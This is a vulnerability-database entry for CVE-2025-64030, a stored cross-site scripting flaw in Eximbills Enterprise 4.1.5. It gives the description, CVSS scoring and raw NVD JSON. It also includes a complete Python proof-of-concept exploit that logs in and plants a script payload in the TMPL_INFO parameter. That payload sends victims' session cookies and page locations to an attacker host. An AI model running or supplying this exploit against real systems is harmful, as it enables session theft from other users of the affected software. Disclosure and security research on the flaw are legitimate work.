Security Vulnerability Report
中文
CVE-2025-64030 CVSS 5.4 MEDIUM

CVE-2025-64030

Published: 2025-12-01 15:15:52
Last Modified: 2025-12-29 15:01:28

Description

Eximbills Enterprise 4.1.5 (Built on 2020-10-30) is vulnerable to authenticated stored cross-site scripting (CWE-79) via the /EximBillWeb/servlets/WSTrxManager endpoint. Unsanitized user input in the TMPL_INFO parameter is stored server-side and rendered to other users, enabling arbitrary JavaScript execution in their browsers.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:chinasystems:eximbills_enterprise:4.1.5:*:*:*:*:*:*:* - VULNERABLE
Eximbills Enterprise 4.1.5 (Built on 2020-10-30)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-64030 PoC - Stored XSS in Eximbills Enterprise # Target: /EximBillWeb/servlets/WSTrxManager def exploit_stored_xss(target_url, username, password): """ Exploit for authenticated stored XSS in TMPL_INFO parameter """ session = requests.Session() # Step 1: Login to obtain authenticated session login_url = f"{target_url}/EximBillWeb/login" login_data = { "username": username, "password": password } print("[*] Attempting to login...") response = session.post(login_url, data=login_data) if response.status_code != 200: print("[-] Login failed") return False print("[+] Login successful") # Step 2: Inject malicious XSS payload via WSTrxManager endpoint exploit_url = f"{target_url}/EximBillWeb/servlets/WSTrxManager" # XSS payload - steals cookies and sends to attacker server xss_payload = '''<script>fetch('https://attacker.com/log?c='+document.cookie+'&u='+btoa(document.location));</script>''' exploit_data = { "TMPL_INFO": xss_payload, "action": "save" } print("[*] Injecting stored XSS payload...") response = session.post(exploit_url, data=exploit_data) if response.status_code == 200: print("[+] XSS payload injected successfully") print("[*] Payload will execute when any user views the affected page") return True else: print("[-] Exploitation failed") return False if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_stored_xss(target, user, pwd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64030", "sourceIdentifier": "[email protected]", "published": "2025-12-01T15:15:52.143", "lastModified": "2025-12-29T15:01:28.010", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Eximbills Enterprise 4.1.5 (Built on 2020-10-30) is vulnerable to authenticated stored cross-site scripting (CWE-79) via the /EximBillWeb/servlets/WSTrxManager endpoint. Unsanitized user input in the TMPL_INFO parameter is stored server-side and rendered to other users, enabling arbitrary JavaScript execution in their browsers."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:chinasystems:eximbills_enterprise:4.1.5:*:*:*:*:*:*:*", "matchCriteriaId": "FF3FCC1B-0420-4688-B0ED-6D1DE54EFB06"}]}]}], "references": [{"url": "https://0xy37.medium.com/stored-xss-in-chinasystems-eximbills-enterprise-v4-1-5-f8f5a79c4f0b", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://chinasystems.com/whatwedo/ee", "source": "[email protected]", "tags": ["Product"]}]}}